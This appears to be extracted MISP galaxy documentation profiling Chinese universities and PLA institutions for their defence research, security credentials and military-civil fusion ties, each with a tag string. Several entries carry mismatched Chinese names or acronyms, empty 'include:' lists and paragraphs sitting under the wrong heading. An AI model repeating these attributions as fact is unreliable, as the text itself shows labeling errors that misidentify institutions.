In 2016, NJTech came under the joint supervision of the Jiangsu Provincial Government and defence industry agency SASTIND, which is an arrangement designed to develop the university's involvement in defense-related research and training. The university has four designated defence research areas and secret-level security credentials, allowing it to undertake classified defence technology projects. NJTech is expanding its defence research on materials science, chemistry, optical engineering and systems engineering. In 2018, the university established a Military-Civil Fusion Development Research Institute to deepen its implementation of military-civil fusion. NJTech has a Defence Industry Science Office (军工科研办) within its Depart of Scientific of Research. This office is responsible for the university's defence-related research and coordination. NJTech's School of Materials Science and Engineering (材料科学与工程学) has previously worked on defence-related projects. The university has international ties with universities in England that focus on electronics and semiconductors. It has also established a joint research center with Russian universities for advanced technology R&D.

The tag is: `misp-galaxy:china-defence-universities="Nanjing Tech University (南京理工大学)"`

Nanjing University (南京大学)

NJU is subordinate to the MOE and has also been supervised by defence industry agency SASTIND since 2012. In 2016, the university was selected as a participant in the first batch of national dual-use demonstration bases, and a year later in 2017 was selected as a Class A world-class university. NJU is home to at least two defence laboratories and has committed to deepening its involvement in military-civilian fusion. As the first university in China to establish a State Secrecy Academy, in 2009, Nanjing University is involved in cyber security research. In 2018, NJU established an Institute of Artificial Intelligence and reported its research progress to the Jiangsu Provincial Committee of Military-Civilian Fusion when they visited the university. Following the visit, the provincial committee expressed interest in deepening cooperation on MCF projects in order to promote Jiangsu's MCF work. The Institute of AI also co-built a research center with Intel, the Intel-Nanjing University Artificial Intelligence Research Center, which is Intel's first research center focusing on
AI in China. The university's rapidly developing AI Institute provides an opportunity for deepening its involvement in MCF R&D. In May 2018, NJU signed a strategic cooperation agreement with Megvii旷视科技. Megvii has been blacklisted by the US government over human rights abuses.

Nanjing University of Science and Technology (南京理工大学)

NJU is one of the ‘Seven Sons of National Defence’ administered by the Ministry of Industry and Information Technology. Together with Beijing Institute of Technology, it was ranked as China’s top university for armaments science in 2017. Roughly 16% of the university’s graduates in 2018 who found employment were working in the defence sector. NJU is a member of the B8 Cooperation Innovation Alliance (B8協同创新联盟), a group of eight Chinese research institutions specialising in weapons science—the ‘B’ in ‘B8’ stands for Chinese word for armaments, bingqi (兵器). Indicative of the university’s high level of involvement in defence research, in 2013 a disused laboratory on its campus exploded, killing one, after workers disturbed a cache of explosives. NJU has a collaborative relationship with a PLA signals intelligence research institute, involving cooperation on unmanned combat platforms and information security.

The tag is: misp-galaxy:china-defence-universities="Nanjing University of Science and Technology (南京理工大学)"

National Defense University (中国人民解放军国防大学)

NDU is the PLA’s ‘premier’ institution for training in military theory, strategy, operations and political work, which can have its history traced back to the era of Mao Zedong’s peasant-led red army in 1927. The university is devoted to training the PLA’s officer corps in preparation for senior leadership positions. Given this focus on the softer skills of PLA administration, the National Defense University does not have as strong a focus on hard science as its counterpart, the National University of Defense Technology.

The tag is: misp-galaxy:china-defence-universities="National Defense University (中国人民解放军国防大学)"

National University of Defense Technology (中国人民解放军国防科技大学)

In 2017, NUDT was reformed and placed in charge of the Institute of International Relations in Nanjing, the National Defense Information Institute in Wuhan, the Xi’an Communications College, the Electrical Engineering Institute in Hefei, and the College of Meteorology and Oceanography in Nanjing. The Institute of International Relations in Nanjing is a key training centre for intelligence officers. NUDT is known for its research on supercomputers, autonomous vehicles, hypersonic
missiles and China’s Beidou Navigation Satellite System. The university developed the Tianhe-2A supercomputer at the National Supercomputing Center in Guangzhou, the world’s fastest supercomputer from 2013 to 2016. NUDT’s Tianhe-1A supercomputer is based at Hunan University’s National Supercomputing Center Changsha (国家超级计算长沙中心). For over a decade, NUDT has aggressively leveraged overseas expertise and resources to build its capabilities. The Australian Strategic Policy Institute’s International Cyber Policy Centre’s October 2018 report ‘Picking flowers, making honey: The Chinese military’s collaboration with foreign universities’ documented and analysed NUDT’s overseas presence. The report found that by 2013 the university had sent over 1,600 of its professors and students to study and work abroad. Universities in the United States, the United Kingdom, Australia, Canada, Singapore, the Netherlands and Germany engage in some of the highest levels of collaboration with NUDT. Some of NUDT’s leading experts on drone swarms, hypersonic missiles, supercomputers, radars, navigation and quantum physics have been sent to study or work abroad. Defected Chinese spy Wang Liqiang claimed in 2019 that NUDT’s ‘Intelligence Center’ sent him fake passports for his mission to interfere in Taiwanese politics. This indicates that the university plays an important role in supporting China’s overseas intelligence activity. NUDT also works with foreign technology companies. Google and Microsoft have both worked with and trained NUDT scientists.

**Naval Petty Officer Academy (中国人民解放军海军士官学校)**

The academy has three main departments focused on training, campus affairs and political work. It has published research on radar jamming.
Naval Research Academy (中国人民解放军海军研究院)

The Naval Research Academy was established in July 2017 following Xi Jinping’s military reforms. Main areas of study include military theory and technological research as well as the maritime environment and national defence engineering. The Naval Research Academy actively collaborates with civilian universities as part of China's military-civil fusion program. In April 2019, delegates from the Naval Research Academy attended a meeting with officials from Xi'an Jiaotong University on co-operation directed at improving the quality assurance and technological reliability of complex armaments currently in service in the PLA Navy. Major General Li Wei from the Naval Research Academy stated that his colleagues were paying ‘very close attention to this co-operation with Xi’an Jiaotong University’ in the development and sustainment of naval equipment. The Naval Research Academy also collaborates with civilian research institutes. For example, the Institute for Industrial Military-Civil Fusion at the Research Institute of Machinery Industry Economic and Management claims to have worked with the Naval Research Academy and a number of state-owned enterprises that focus on defence technology such as China Shipbuilding Industry Corporation (CSIC) in order to develop strategies for military-civil fusion. The Naval Research Academy’s involvement in military-civil fusion is particularly notable for work on maritime information technology and equipment. In January 2019, delegates from the Naval Research Academy attended a conference hosted by the National Key Laboratory of Underwater Acoustic Science and Technology (水声技术国家重点实验室) and the Key Laboratory of Marine Information Acquisition and Security Industry and Information Technology (海洋信息获取与安全工业和信息化部重点实验室) of Harbin Engineering University (HEU). The Naval Research Academy’s Liu Qingyu (刘清宇) was reported to have made a presentation on international and domestic developments in marine sonar technology at the conference. Liu Qingyu from the Naval Research Academy has a particularly strong record of engagement with civilian and military institutions for his research into marine sonar technology. In 2018, Liu delivered a presentation to the Northwestern Polytechnical University (NPU) which ‘elaborated on some of the problems facing the national coastal defence industry’ and ‘suggested areas for future research into marine acoustics.’ Both students and academics from NPU attended Liu’s presentation. Liu has also published papers on acoustic science with scholars from the Chinese Academy of Sciences, the Naval University of Engineering, and Northwestern Polytechnical University.
**Naval University of Engineering (中国人民解放军海军工程大学)**

NUE is one of the PLA’s five comprehensive universities, which trains students in a variety of engineering and core military disciplines related to naval warfare. The university is home to two national laboratories. The National Key Laboratory for Vessel Integrated Power System Technology (舰船综合电力技术国防重点实验室), which was established in 2010 to carry out ‘indigenous research and development’ into integrated electric propulsion (IEP) systems that power naval vessels at sea. IEP generally uses diesel generators and/or gas turbines to generate the electricity needed in order to turn propellers on large surface vessels such as guided missile destroyers or amphibious assault ships. The lab is jointly run by NUE and China Shipbuilding Industry Corporation’s (CSIC) 712th Research Institute. Rear Admiral Ma Weiming has led the National Key Laboratory for Vessel Integrated Power System Technology to develop propulsion systems for aircraft catapults, electromagnetic weapons and satellite launches. Admiral Ma has been referred to as ‘the father of China’s electromagnetic catapult system’ (中国电磁弹射之父) by official Chinese media sources. NUE’s National Defense Technology Key Laboratory of Marine Vibration and Noise (船舶振动噪声国防科技重点实验室) works on acoustic quieting technology for submarines. The lab is probably jointly run with CSIC’s 701st Research Institute, also known as China Ship Development and Design Center (中国舰船研究设计中心). Another laboratory that conducts defence research at NUE is the Nuclear Marine Propulsion Engineering Military Key Laboratory (核动力工程军队重点实验室). The lab focuses on researching and training engineers in nuclear engineering for warships and submarines. Academic departments at the Naval University of Engineering include:

NEU is a major civilian university subordinate to the Ministry of Education. The university hosts three national laboratories, all of which are related to industrial manufacturing technology. NEU engages in growing levels of defence research. It holds secret-level security credentials allowing it to participate in classified weapons projects and hosts the defence-focused Key Laboratory of Aerodynamic Equipment Vibration and Control. In 2018, NEU was approved to build a further five laboratories that could be involved in future defence or security-related research. In 2019, NEU joined the Shenyang Aircraft Design Institute Collaborative Innovation Alliance (沈阳飞机设计研究所协同创新联盟), a group of universities and institutes, led by defence conglomerate AVIC, that are involved in the development of military aircraft. NEU also runs a National Defense Science and Technology Development Research Institute (国防科技术发展研究院). In 2019, the institute’s senior deputy director was awarded a China Industry-University-Research Cooperation Military-Civil Fusion Prize.

**Northwest Institute of Nuclear Technology (西北核技术研究所)**

NINT is one of China’s main sites of nuclear technology research. While the Chinese Academy of Engineering Physics is believed to be China’s only manufacturer of nuclear warheads, NINT likely plays a supporting role in research for nuclear weapons. It is especially active in research on lasers, which can be used in nuclear fusion reactors or weapons. Aside from nuclear technology, NINT carries out research on topics including electronics, information science, materials science, control science and chemistry. NINT has partnerships with several institutes in the Chinese Academy of Sciences, Xiangtan University, Northwestern Polytechnical University, and Xi’an Jiaotong University.

**Northwestern Polytechnical University (西北工业大学)**

The university is one of the ‘Seven Sons of National Defence’ subordinate to MIIT. It is heavily engaged in military research, describing itself as ‘devoted to improving and serving the national defence science and technology industry.’ NWPU’s research focuses on aviation, space and naval technology. Between 2014 and 2018, the university’s School of Mechanics, Civil Engineering and Architecture alone spent nearly RMB200 million (AUD40 million) on defence research projects. 41.25% of 2017 NWPU graduates who gained employment were working in the defence sector. NWPU is known for its development of unmanned aerial vehicles (UAVs). The only Chinese university hosting a UAV defence laboratory, NWPU produces the ASN series of UAVs though its subsidiary company, Aisheng Technology Group Co., Ltd. The Chinese military is the company’s largest customer and the company once claimed to produce 90% of China’s drones. The university has close ties to state-owned shipbuilding and aerospace conglomerates.

**Officers College of the PAP (中国人民武装警察部队警官学院)**

The Officers College of the PAP was established as an institution devoted to training officers of China’s paramilitary service in command and engineering disciplines. The college’s research focusses on combat command, command information systems engineering, philosophy, law, political education, Chinese language and literature, history, mathematics, physics, applied psychology, electrical science and technology, computer science and technology, and management science and engineering. The Officers College of the PAP is especially active in developing drone technology. On 26 June 2019, the college tested its X-Swift unmanned aerial vehicles (UAV) for a test surveillance and reconnaissance flight with special operations personnel in Sichuan. The college is also active in developing applications for drone technology. Researchers from the college have collaborated with personnel from the PLA Logistics Engineering University to publish an article in favour of deploying UAVs to southern Xinjiang for counter-terrorism missions. The researchers argue for UAVs to be deployed for regional surveillance and strike as well as search and seizure missions in Xinjiang, drawing off lessons from the US coalition against ISIS.

The tag is: `misp-galaxy:china-defence-universities="Officers College of the PAP (中国人民武装警察部队警官学院)"

Table 933. Table References
PAP NCO College (中国人民武装警察部队士官学校)

The PAP NCO College was established in 2017 following Xi Jinping’s reforms to China’s military education system. The college does not appear to engage in significant levels of defence research and focuses its attention on training enlisted personnel in China’s paramilitary service, the People’s Armed Police.

The tag is: `misp-galaxy:china-defence-universities="PAP NCO College (中国人民武装警察部队士官学校)"`

Peking University (北京大学)

PKU is considered among China’s most prestigious universities with a storied history. It is ranked as one of China’s top two academic institutions, along with Tsinghua University. Unsurprisingly, the university has been included in a number of the PRC’s educational initiatives, including as a Class A institution under the Double First-Class University program. PKU has been subject to at least two joint-supervision agreements between the Ministry of Education and defence industry agency SASTIND. These agreements, signed in 2012 and 2016, are designed to deepen the university’s involvement in defence research. PKU’s Advanced Technology Institute was founded in 2006 to oversee and develop the university’s defence research. Includes several research centres and supervises the university's four major defence laboratories. The institute's research covers semiconductors, nuclear technology, quantum physics, advanced materials, underwater acoustics, satellite navigation and communications, flight propulsion, aerospace engineering and microprocessors. In 2017, PKU and the Chinese Academy of Engineering Physics (CAEP)—China’s nuclear weapons program—established the PKU–CAEP New Structure Center for Applied Physics and Technology (北 大-中国工程物理研究院新体制应 用物理与技术研 究中心). The institution was founded on the basis of the PKU Center for Applied Physics and Technology (北 大应 用物理与技术研 究中心) established with CAEP in 2007. The joint centre carries out research on materials, lasers for atomic physics applications, laser plasma physics, computer science and fluid dynamics. PKU’s report on the centre notes that it will serve China's national defence needs and that CAEP’s deputy director emphasised it should ‘take the path of military-civil fusion’. The joint centre’s honorary director and founding director, He Xiantu, is credited as the developer of China’s first neutron bomb. PKU takes precautions for the protection of classified information. The university has an office devoted to the secure handling of classified information, hosting regular meetings and training sessions to strengthen the university’s security culture. In 2006, the university received security credentials for participation in classified defence research.

The tag is: `misp-galaxy:china-defence-universities="Peking University (北京大学)"`
People’s Armed Police Command College
(中国人民武装警察指挥学院)

The PAP Command College is an institution devoted to training officers in China’s paramilitary service, the People’s Armed Police, that was established in 1984. The college’s key subjects focus on law, engineering, military studies and management studies, but most attention is devoted to paramilitary training and political work. The PAP Command College maintains a focus on paramilitary training, but it does retain a scientific research program. Drone technology is another area of interest for the PAP Command College. The college was involved in testing the X-Swift unmanned aerial vehicle (UAV) in June 2019. Kang Jian from the college’s Scientific Research Department also attended the 2017 Drone World Congress hosted in Shenzhen.

The tag is: misp-galaxy:china-defence-universities="People’s Armed Police Command College (中国人民武装警察指挥学院)"

People’s Public Security University of China
(中国人民公安大学)

PPSUC was founded in July 1948. In 1984, it was developed into a full-time higher education institution with master’s and bachelor’s degree programs. In 1998, it was merged with the Chinese People’s Police University (中国警察大学). Its schools include a Marxism School, Law School, Law and Order School, Investigation and Anti-Terrorism School, Criminology School, Public Security Management School, International Policing and Law Enforcement School, Police Training College (which covers combat training and command and tactical training), Criminal Science and Technology School, Information Technology and Network Security School, and a Traffic Management School. PPSUC is involved in the development of technological tools for public security applications, including image recognition. For instance, the university signed an agreement with Chinese video surveillance equipment manufacturer Hikvision in 2016 to set up a joint laboratory on video image recognition technology. In 2018, it signed a strategic cooperation agreement with Xiamen Meiya Pico Information Co., a Chinese company that provides digital forensics and information security products, which included upgrading a forensics laboratory and establishing a cyber security attack and defence laboratory. The university also has cooperation agreements with numerous local government-level public security bureaus across the PRC. These include agreements on image recognition technology for local public security bureaus and joint laboratories. For instance, in 2018 alongside the Nanshan sub-bureau of Shenzhen Public Security Bureau and the artificial intelligence companies SenseTime and Shenzhen Yuantian Lifei, it signed a strategic cooperation agreement on applying video recognition and the establishment of a joint laboratory.

**Rocket Force Command College (中国人民解放军火箭指挥学院)**

The Rocket Force Command College is the PLA’s premier institute devoted to training cadets and early-to-mid career officers in conventional and nuclear missile campaigns. Candidates require understanding of battlefield command, management and campaign tactics prior to entry into the college. The college then builds on this knowledge by providing specialist training for missile campaigns.

The tag is: misp-galaxy:china-defence-universities="Rocket Force Command College (中国人民解放军火箭指挥学院)"

324
Rocket Force Research Institute (中国人民解放军火箭军研究院)

The Rocket Force Research Institute develops nuclear and conventional ballistic missiles, carrying out research on warhead, guidance and control technology. It appears to be the successor to the PLA Second Artillery Equipment Academy (火箭军装备研究院) and the Rocket Force Equipment Academy (火箭军装备研究院). The institute reportedly hosts two national-level defence laboratories. It also has a strategic cooperation agreement with Beijing Institute of Technology, which hosts two state key laboratories that study impacts and explosions.

The tag is: `misp-galaxy:china-defence-universities="Rocket Force Research Institute (中国人民解放军火箭军研究院)"`

Rocket Force Sergeant School (中国人民解放军火箭军士官学校)

The Rocket Force Officer College is an institution devoted to training military personnel for China’s tactical and strategic missile forces that was established after Xi Jinping’s military reforms in 2017. The college's focus is on providing technical training to personnel in the PLARF’s missile systems. However, the college has also produced research on underground engineering which would be useful to hardening bases for missile strikes.

The tag is: `misp-galaxy:china-defence-universities="Rocket Force Sergeant School (中国人民解放军火箭军士官学校)"`

Rocket Force University of Engineering (中国人民解放军火箭军工程大学)

RFUE is the PLA strategic missile force’s leading institution for training technical and scientific talent. Students entering the university tend to be university graduates and career members of the PLA Rocket Force. Defence research conducted by the RFUE focuses on building resilience and capabilities for conventional and nuclear missile strikes. RFUE hosts the Missile Testing and Control Virtual Simulation Experimental Teaching Center (导弹测试与控制虚拟仿真实验教学中心). The university’s key areas of research include:
Shandong University (山东大学)

SDU is subordinate to the Ministry of Education. Since 2016, it has also been supervised by defence industry agency SASTIND as part of a program to expand universities’ involvement in defence research and training. SDU has pursued greater involvement in defence research since at least 2006, when it established a national defence research institute to coordinate relevant work across the university. Shortly afterwards, it received secret-level security credentials allowing it to participate and research and production for classified weapons and defence technology projects. In 2008, it was recognised as one of Shandong Province’s 10 outstanding defence industry units. SDU collaborates with the Chinese Academy of Engineering Physics, China’s nuclear warheads development facility, on topics including the development of crystals that are used in the study of nuclear explosions and research on fusion ignition.

Shandong University of Technology (山东理工大学)

SDUT specialises in engineering and carries out growing levels of defence research. In 2018, SDUT became the only university in Shandong Province jointly supervised by defence industry agency SASTIND besides Shandong University. This indicates that SDUT’s involvement in defence research and links to the defence industry will grow in coming years. SASTIND has specifically indicated its intention to build up advanced materials and advanced manufacturing technology as areas of defence research at SDUT. SDUT has carried out research on mechatronic engineering for the defence industry, and developed a non-destructive testing system for ceramic antenna covers on missiles.

Shanghai Jiao Tong University (上海交通大学)

SJTU is directly under the administration of the MOE. In 2016 it also came under the supervision of defence industry agency SASTIND as part of a ‘joint construction' agreement between the MOE and SASTIND. The university has at least three laboratories focused on defense research relating to materials science, ships and hydrodynamics. The defence labs have established substantial collaborative research and talent development relationships with hydrodynamics research groups at universities including MIT, Cornell, and the Danish Technical University. One of the university’s strongest departments is computer science. Its computer science program has garnered support from American tech companies such as Cisco Systems and Microsoft, which collaborated on establishing a laboratory for intelligent computing and intelligent systems at the university. In particular, the School of Information Security Engineering, has ties to the PLA through its dean and chief professor who both previously worked for the PLA. SJTU also has ties to the PLA Unit 61398, a cyber espionage unit that has been implicated in cyber attacks on the United States. SJTU is also known for its involvement in maritime research. The School of Naval Architecture, Ocean & Civil Engineering cooperates extensively with other universities from around the world as well as with many domestic industrial enterprises, such as defence conglomerate CSIC and CASC. The school is the lead unit of the High-tech Ship and Deep-Sea Development Equipment Collaborative Innovation Center (高新船舶与深海开发装备协同创新中心), where it has contributed to assisting the PLA Navy’s transition to offshore defense operations.

Shenyang Aerospace University (沈阳航空航天大学)

SAU is the only university formally under the supervision of China’s military aircraft manufacturer, AVIC. SAU engages in high levels of defence research and describes itself as a base for training talent in national defence science and technology. Serving China’s military aviation industry is what SAU refers to as its ‘glorious tradition’. Many of China’s military aircraft are designed and built in Shenyang, which is home to AVIC subsidiaries Shenyang Aircraft Design Institute and Shenyang Aircraft Corporation. SAU and AVIC work closely together, including through a joint research institute.

The tag is: misp-galaxy:china-defence-universities="Shenyang Aerospace University (沈阳航空航天大学)"

Shenyang Ligong University (沈阳理工大学)

SYLU is a civilian university that specialises in defence research. The university’s primary areas of defence research are armament science, information and communications engineering, control science, materials science and mechanical engineering. Apart from Xi’an Technological University, SYLU is the only Chinese civilian university supervised by state-owned arms manufacturers Norinco Group and China South Industries Group. In 2016, it also came under the supervision of defence industry agency SASTIND. SYLU is a member of the B8 Cooperation Innovation Alliance (兵器协同创新联盟), a group of eight Chinese research institutions that specialize in armament science—the ‘B’ in ‘B8’ stands for the Chinese word for armaments, bingqi (兵器). The university runs a weapons museum on its campus. Furthermore, SYLU is a member of the Liaoning Military-Civil Fusion Arms Industry-College Alliance (辽宁军民融合产教联盟) and SYLU’s president doubles as chairman of the alliance. This indicates close ties between SYLU and China’s arms industry.

The tag is: misp-galaxy:china-defence-universities="Shenyang Ligong University (沈阳理工大学)"

Shenzhen University (深圳大学)

SZU is the primary university in China’s rapidly growing technology hub, Shenzhen. The university does not appear to engage in high levels of defence research outside of its national defence laboratory on automatic target recognition. The laboratory was founded in 2001, is overseen by the PLA and SASTIND, and is headed by the university’s former president.

The tag is: misp-galaxy:china-defence-universities="Shenzhen University (深圳大学)"
Shijiazhuang Tiedao University (石家庄铁道大学)

STDU specializes in transportation science, engineering and information technology. Its predecessor was the PLA Railway Engineering College. Since 2013, STDU has also been supervised by defence industry agency SASTIND through an arrangement designed to expand the university’s involvement in defense-related research and training. STDU has secret-level security credentials, allowing it to participate in classified defense technology research. STDU is home to the National Defense Transportation Research Institute (国防交通研究所), which is the only civilian university research institute that specializes in national defense transportation research. STDU is also home to the Institute of Complex Networks and Visualisations (复杂网络与可视化研究所), which develops military-use information processing software including remote-control systems for aerospace applications.

Sichuan University (四川大学)

Sichuan University (SCU) is a leading Chinese university subordinate to the Ministry of Education. In 2011 and again in 2016 SCU was the subject of joint construction agreements between the MOE and defence industry agency SASTIND designed to increase its involvement in defence research. The university hosts at least three laboratories that focus on defence research and has a close relationship with the Chinese Academy of Engineering Physics (CAEP), the PRC’s primary nuclear warheads research facility. SCU’s Institute of Atomic and Molecular Physics and CAEP jointly established the Institute of Atomic and Molecular Engineering and the Institute of High Temperature and High Pressure Physics. In 2012, SCU was added to the US BIS Entity List as an alias of CAEP, implying that it acts as a proxy for the facility. A 2011 study by American think tank Project 2049 concluded that a PLA signals intelligence unit ‘likely maintain a close, mutually supportive relationship with related organizations in Chengdu, such as Sichuan University’s Information Security and Network Attack and Defense Laboratory (信息安全及网络攻防实验室).’

Soochow University (苏州大学)

Soochow University has been jointly supervised by the Jiangsu Provincial Government and defence
industry agency SASTIND since 2016. This arrangement is designed to expand the university’s involvement in defense-related research and training. The university has five designated defense disciplines, centered around research on radiation. In particular, its School of Radiation Medicine and Protection has strong defense links, as it has become a major teaching and research base for the nuclear industry. Suzhou University is also involved in promoting military-civil fusion. The university cooperated with Changfeng Science Technology Industry Group (a subsidiary of missile manufacturer CASC) and Suzhou Xinkuan Electronic Technology Co., Ltd. to jointly establish the ‘Suzhou University Military-Civil Fusion Internet of Things Collaborative Innovation Center.’

The tag is: *misp-galaxy:*china-defence-universities="Soochow University (苏州大学)"

### South China University of Technology (华南理工大学)

SCUT is subordinate to the Ministry of Education and in 2018 was placed under a joint-construction agreement between the MOE and SASTIND. This arrangement is designed to develop the university’s involvement in defense-related research and training. SCUT also holds secret-level security credentials, allowing it to participate in research and production for classified weapons and defense technology projects. As a result of the university’s placement under joint construction and its secret-level security credentials, SCUT’s involvement in defense research is likely to grow in coming years. Since 2008, the university has hosted a defense research laboratory on materials science. The lab was initially run by the university’s president. In 2017, the university joined the Guangzhou Civil-Military Integration Industry Coalition. More recently in 2019, SCUT and iFlytek established an artificial intelligence company, Guangzhou Huanan Naokong Zhineng Keji Gongsi (广州华南脑控智能科技公司).

The tag is: *misp-galaxy:*china-defence-universities="South China University of Technology (华南理工大学)"

### Southeast University (东南大学)

SEU is a leading Chinese university that engages in high levels of defense research. In 2015, the university undertook RMB180m (AUD37m) of defense research projects, placing it among the Ministry of Education universities most involved in defense research. That figure has almost certainly grown since 2016, when SEU came under a ‘joint construction’ agreement between the Ministry of Education and defense industry agency SASTIND. The university has secret security credentials, enabling it to participate in secret defence projects. The university has also been linked to cyberespionage. Researchers at its School of Cyber Science and Engineering (网络空间安全学院) have been funded by the MSS, China’s civilian intelligence agency. The School of Cyber Science and Engineering has close ties to TopSec, a Chinese information security company that trains, recruits.

---

330
and works with PLA cyber security officers. SEU states that its defence research relies on its excellence in electronics. It has at least two laboratories that specialise in defence research on navigation technology and underwater acoustics. Both laboratories may be involved in developing technology for underwater warfare. Representatives from the PLA Navy’s Submarine Academy visited SEU in 2017. SEU has also built relationships with state-owned defence conglomerates. In 2017, the university signed a strategic cooperation agreement with missile-manufacturer China Aerospace Science and Industry Corporation. In 2018 and 2019, it signed similar agreements with subsidiaries of China Electronics Technology Group Corporation, China’s leading manufacturer of military electronics.

Southwest University of Science and Technology (西南科技大学)

SWUST is deeply engaged in defence research and is based in Mianyang, a city also home to China’s nuclear weapons program and many other parts of the defence industry. Since 2006, the university has been subject to several joint construction agreements between the Sichuan Provincial Government and SASTIND that are designed to increase its involvement in defence research. SWUST carries out defence-related research on nuclear waste, radiation protection and electronic information engineering. It holds secret-level security credentials, allowing it to undertake classified defence technology and weapons projects. The university’s main defence laboratory carries out research on topics such as the use of microorganisms to clean nuclear waste. SWUST has worked closely with the Chinese Academy of Engineering Physics (China’s nuclear warheads program), China Aerodynamics Research and Development Center (a PLA base specialising in aircraft design), and defence conglomerates since its establishment. The fact that the university hosts the province’s ‘Civil-military Integration Institute’ is a testament to its integration with the military and defence industry.

Space Engineering University (中国人民解放军战略支援部队航天工程大学)

SEU was established in June 2017 as an expansion of the former PLA Equipment Academy (装备学院). SEU describes itself as a ‘comprehensive university that trains talents for space command management and engineering.’ It is intended to serve as the ‘cradle of the new PLA’s space talent
training.’ The SEU is subordinate to and supports the PLA Strategic Support Force’s Space Systems Department (航天系统部), which has taken over the space and potentially counterspace capabilities that were previously the purview of the former General Armaments Department and, to a lesser degree, the former General Staff Department. The SEU offers degree programs at the undergraduate, master’s, and doctoral levels, as well as programs for non-commissioned officers, across disciplines including space target surveillance, remote sensing science and technology, and aerospace information security. Its faculty include nine CMC Science and Technology Commission experts and twenty professors who are designated as expert defence science and technology advisors. Beyond its mission of talent cultivation, the SEU also engages in extensive research. In particular, the SEU has a total of eighteen laboratories, which include two national-level key laboratories and one military-level key laboratory.

**Sun Yat-sen University (中山大学)**

SYSU is a leading Chinese university subordinate to the Ministry of Education. In 2018, it came under the joint supervision of MOE and defence industry agency SASTIND. This development indicates that SYSU's involvement in the defence industry and defence research is growing. The university has a large defence research budget. In 2018, it spent nearly RMB200 million (AUD41 million) on defence research out of its total research budget of RMB3.1 billion (AUD640 million). SYSU is linked to the Chinese military through its National Supercomputer Center in Guangzhou (国家超级计算广州中心), which was placed on the US Government Entity List in 2015 for its role in nuclear weapons development. The centre was jointly established with the PLA National University of Defense Technology in 2011 to host the Tianhe-2 supercomputer. The supercomputer is operated by the National University of Defense Technology and was the world’s fastest from 2013 to 2015. Aside from the supercomputer center, SYSU’s Key Laboratory of Information Science is the only known lab focused on defence research and is located within the School of Electronics and Information Technology. In 2010, the university established a State Secrets Academy (国家保密学院),
serving as the third university in China to establish such an institute in partnership with China’s National Administration of State Secrets Protection (国家保密局). The Institute carries out research and training on the protection of state secrets.

The tag is: misp-galaxy:china-defence-universities=“Sun Yat-sen University (中山大学)"

### Tianjin Polytechnic University (天津工业大学)

TJPU is known for its research in the field of textile science and engineering. It is jointly supervised by the Ministry of Education and the city of Tianjin. In 2018, defence industry agency SASTIND and the Tianjin Municipal Government signed an agreement to jointly support TJPU. The purpose of the agreement is to support the university’s development of defence disciplines, construction of defence laboratories, and training of defence scientists. Through this arrangement, SASTIND involves universities in military research projects and supports collaboration between universities and the defence industry. The university also holds secret-level security credentials that allow it to participate in classified defence technology projects. Tianjin Polytechnic University hosts one state key lab and two MOE key labs. One of the MOE key labs and the state key lab are located within the School of Material Science and Engineering. Additionally, TJPU’s School of Textile Science and Engineering has conducted R&D that has been applied to industries in aerospace, defense, transportation, civil engineering, among others. The School of Textile Science and Engineering has reportedly become a backbone of research and innovation for China’s textile industry.

The tag is: misp-galaxy:china-defence-universities=“Tianjin Polytechnic University (天津工业大学)"

### Tianjin University (天津大学)

TJU is under the administration of the Ministry of Education and has also been supervised by defence industry agency SASTIND since 2012. The university has second-class security credentials, allowing it to participate in classified research projects at the level of ‘secret’. It hosts two defence laboratories, working on optoelectronics and propellants. In 2015, A professor at Tianjin University was arrested by U.S. federal agents and accused of economic espionage and technology theft. He had been a professor in the School of Precision Instrument and Opto-electronics Engineering, which is home to one of the MOE labs involved in defense research. TJU is also a member of several international engineering alliances and has one National Defense Technology Innovation Team. TJU carries out research for the Ministry of State Security (MSS), China’s civilian intelligence agency. It has hosted at least one MSS researcher and its scientists have been awarded for their work for the MSS on communication and information engineering.
Tongji University (同济大学)

Tongji University recognized for its work in architecture, civil engineering, marine geology, and transportation engineering. The university established the only state key laboratory of deep-sea geology, which plays an important role in China’s deep-sea observation and serves as a significant platform for the country’s marine strategy. The university’s involvement in marine research likely stems from its joint construction with the State Oceanic Administration (SOA). In 2010, the Ministry of Education and the State Oceanic Administration signed to jointly establish 17 universities, a collaboration aimed at enhancing the ability to cultivate marine talents in universities, develop marine science and technology, and make contributions to the development of China’s marine industry. Tongji University has secret-level security credentials and is home to one Ministry of Education laboratory dedicated to defense research. In April 2019, the university was placed on the U.S. Unverified List, which places restrictions on US exports to the university. Entities are added the Unverified List if the US Government is unable to satisfactorily carry out end-user checks on them to ensure compliance with export licenses.

Tsinghua University (清华大学)

Tsinghua University is considered China’s leading university in science and technology. Often characterized as ‘China’s MIT,’ Tsinghua is highly ranked globally, while also being the alma mater of numerous Chinese leaders, including Xi Jinping. Tsinghua has been included in numerous Chinese educational initiatives, including acting as a Class A institution in the Double First-Class University Plan and with membership in China’s C9 League. As of spring 2018, Tsinghua University had 390 research institutions operating across a range of fields. Tsinghua engages in a range of military research and was awarded secret-level security credentials for classified research in 2007. In advancing military-civil fusion, Tsinghua also continues its ‘fine tradition’ of serving China’s national security and defense, actively creating new platforms and initiatives to support this strategy. Not only its dedicated defence laboratories but also a range of key laboratories and research institutions at the university have received funding from the military. Since at least 2012, Tsinghua has also been jointly supervised by defence industry agency SASTIND as part of a program to deepen its defence research and links to the defence sector. Tsinghua’s defence research covers areas such as artificial intelligence, air-to-air missiles, navigation technology, instrument science and materials science. The university trains students for China’s nuclear weapons program, military and defence industry. In 2014 it signed a strategic cooperation agreement with the Chinese...
Academy of Engineering Physics (CAEP)—China’s nuclear weapons program. In 2016, CAEP’s Materials Institute and Tsinghua established a joint postgraduate training base for teaching, research collaboration and equipment sharing. Approximately 200 postgraduate students at Tsinghua are sponsored by CAEP or defence industry conglomerates each year through the Chinese government’s National Defence Science and Technology Scholarship program. Scholarship recipients are required to work for their sponsoring organisation for five years after graduating. Roughly 2000 of the scholarships are awarded each year, indicating that Tsinghua students are among the primary recipients of them. Documents published by Tsinghua indicate that CAEP planned to sponsor 40 PhD students to study nuclear technology in 2013. CAEP continues to sponsor Tsinghua postgraduates. In 2004, Tsinghua agreed to supervise doctoral students from the PLA’s Second Artillery Engineering University, now known as the Rocket Force University of Engineering.

**University of Electronic Science and Technology of China (电子科技大学)**

